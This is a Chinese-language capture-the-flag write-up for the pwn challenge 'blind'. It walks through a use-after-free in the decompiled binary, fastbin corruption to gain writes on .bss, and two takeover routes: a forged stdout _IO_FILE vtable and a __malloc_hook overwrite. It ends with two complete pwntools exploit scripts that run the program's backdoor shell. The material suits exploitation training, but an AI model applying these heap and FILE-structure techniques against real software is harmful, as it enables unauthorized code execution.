文件下载

文件分析

1
2
3
4
5
6
$ checksec blind 
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

代码分析

1
2
3
4
5
6
7
int menu() {	
puts("1.new");
puts("2.change");
puts("3.release");
puts("4.exit");
return printf("Choice:");
}

1.new 检查了11# v1<=5,但因为v1为unsigned所以不能下溢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 add() {
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 5 && !ptr[v1] ) {
ptr[v1] = malloc(0x68uLL);
printf("Content:");
read_line(ptr[v1], 0x68u);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

2.change 正常修改内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 edt() {
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 5 && ptr[v1] ) {
printf("Content:");
read_line(ptr[v1], 0x68u);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

3.release 明显存在use after free 但最多只能free三次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 sub_400B41() {
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 5 && ptr[v1] && free_cnt <= 2 ) {
free(ptr[v1]); // UAF
++free_cnt;
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

发现还有个后门函数 肯定目标就是这里

1
2
3
int get_shell() {    // 0x00000000004008E3
return system("/bin/sh");
}

攻击方法

由于开了Full RELRO 写不了GOT表 ;并且没有可控的输出语句 无法泄露libc基地址

想着能不能通过UAF:add 0, dlt 0, add 1 (此时ptr[0]==ptr[1]), dlt 0 (此时ptr[0]位于bin中且可通过ptr[1]修改内容)

来分配bss段上空间实现写入

0x68大小的chunk释放后会进入fastbin[0x70] 因此需要找到一个bss中的qword满足在0x0000000000000070-000000000000007f之间(因为最后三位的标志位),作为size域,进而分配到bss上

1
2
3
4
5
gef➤  find 0x602020, 0x602500, 0x000000000000007f
0x602025 <stdout+5>
0x602035 <stdin+5>
0x602045 <stderr+5>
3 patterns found.

那么可选堆的起始地址为0x602045-8 = 0x60203d 尝试:

1
2
3
4
5
6
7
add(0, b'0000')
dlt(0)
add(1, b'1111')
dlt(0)
edt(1, p64(0x60203d))
add(2, b'2222')
add(3, b'\x00')

发现可以成功获取

1
2
3
4
5
6
7
gef➤  sq 0x602020
0x602020 <stdout>: 0x00007f8160fc5620 0x0000000000000000
0x602030 <stdin>: 0x00007f8160fc48e0 0x0000000000000000
0x602040 <stderr>: 0x00007f8160fc5540 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x00000000021f4010 0x00000000021f4010
0x602070: 0x00000000021f4010 0x000000000060204d # here

那么由此就可以实现任意地址写了(先edt(ptr[3]),使得ptr[0]处地址为目标地址,然后再edt(ptr[0]))

法一

关于_IO_FILE利用可以参考:https://www.anquanke.com/post/id/164558

  1. 改写stdout指针为特定构造的伪_IO_FILE 指针 p = 0x602100
  2. 修改p + 0xd8 = 0x6021d8的vtable指针为fake_vtable = 0x602200
  3. fake_vtable指针指向的多个函数指针都改为后门函数地址

源stdout指针指向内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gef➤  sq 0x00007f8160fc5620
0x7f8160fc5620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f8160fc56a3
0x7f8160fc5630 <_IO_2_1_stdout_+16>: 0x00007f8160fc56a3 0x00007f8160fc56a3
0x7f8160fc5640 <_IO_2_1_stdout_+32>: 0x00007f8160fc56a3 0x00007f8160fc56a3
0x7f8160fc5650 <_IO_2_1_stdout_+48>: 0x00007f8160fc56a3 0x00007f8160fc56a3
0x7f8160fc5660 <_IO_2_1_stdout_+64>: 0x00007f8160fc56a4 0x0000000000000000

gef➤ p *(struct _IO_FILE*) 0x00007f8160fc5620
$1 = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n",
[...]
}

需要注意的是 我们需要绕过一些限制,所以要更改_flags使得 flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0 (这里改为0x00000000fbada887)

因为我们修改了stdout,在下一次调用puts时即会自动调用后门函数

法二

参考的大佬的思路:http://p4nda.top/2018/08/27/WDBCTF-2018/

是否可以修改 __malloc_hook? 因为不能泄露地址,则需要 __malloc_hook地址出现在bss段才能通过edt写入

通过在bss段上伪造一个unsorted_bin大小的chunk并释放 则main arena+88的地址就会出现在bss段上 ,通过修改其最低字节为00,则可再通过edt写到__malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gef➤  sq 0x602020
0x602020 <stdout>: 0x00007fefbd3c5620 0x0000000000000000
0x602030 <stdin>: 0x00007fefbd3c48e0 0x0000000000000000
0x602040 <stderr>: 0x00007fefbd3c5540 0x3030300000000000
0x602050: 0x3030303030303030 0x3030303030303030
0x602060: 0x0000000000602080 0x00000000016cc000
0x602070: 0x0000000000000000 0x0000000000000091
0x602080: 0x00007fefbd3c4b78 0x00007fefbd3c4b78

gef➤ sq 0x00007fefbd3c4b00
0x7fefbd3c4b00 <__memalign_hook>: 0x00007fefbd085e20 0x00007fefbd085a00
0x7fefbd3c4b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b20: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b30: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b40: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b50: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b60: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b70: 0x0000000000000000 0x00000000016cc070 # main arena+88 = 0x7fefbd3c4b78

exp

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./blind")
libc = ELF("./libc.so.6")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(idx, con):
sla(b':', b'1')
sla(b':', str(idx).encode())
sla(b':', con)

def edt(idx, con):
sla(b':', b'2')
sla(b':', str(idx).encode())
sla(b':', con)

def dlt(idx):
sla(b':', b'3')
sla(b':', str(idx).encode())

def write(addr, con):
edt(3, b'0'*0x13 + p64(addr)) # write addr to ptr[0]
edt(0, con)

gscript = '''
b * 0x0000000000400C75
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

get_shell = 0x00000000004008E3
add(0, b'0000')
dlt(0)
add(1, b'1111')
dlt(0)
edt(1, p64(0x60203d)) # 修改在fastbin中的next
add(2, b'2222')
add(3, b'\x00') # 得到0x60204d

write(0x602100, p64(0xfbada887)) # 写flag绕过检测
write(0x6021d8, p64(0x602200)) # 改写vtable指针
write(0x602200, p64(get_shell) * 12) # 改写fake_vtable内容
write(0x602020, p64(0x602100)) # 将stdout内容改为伪造的_IO_FILE

pi()
pause()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./blind")
libc = ELF("./libc.so.6")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(idx, con):
sla(b':', b'1')
sla(b':', str(idx).encode())
sla(b':', con)

def edt(idx, con):
sla(b':', b'2')
sla(b':', str(idx).encode())
sla(b':', con)

def dlt(idx):
sla(b':', b'3')
sla(b':', str(idx).encode())

def write(addr, con):
edt(5, b'0'*0x13 + p64(addr)) # write addr to ptr[0]
edt(0, con)

gscript = '''
b * 0x0000000000400C75
c
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

get_shell = 0x00000000004008E3
add(0, b'0000')
dlt(0)
add(1, b'1111')
dlt(0)
edt(1, p64(0x60203d))
add(2, b'2222')
add(5, b'\x00')

write(0x602070, p64(0) + p64(0x91)) # 选择ptr[2]作为fake chunk起点,则main_arena + 88会写入到ptr[4],可控
write(0x602070 + 0x90, p64(0x90) + p64(0x21)) # 伪造下个chunk,绕过检测
write(0x602070 + 0x90 + 0x20, p64(0x20) + p64(0x21)) # 伪造下下个chunk,绕过检测

write(0x602060, p64(0x602080)) # free,放入unsorted_bin
dlt(0)
edt(0, b'') # 修改0x602080处字节为0x00, 则为__memalign_hook地址
edt(4, p64(get_shell) * 3) # 在__malloc_hook写入后门函数地址
sla(b':', b'1')
sla(b':', b'2') # 触发malloc

pi()
pause()
⬆︎TOP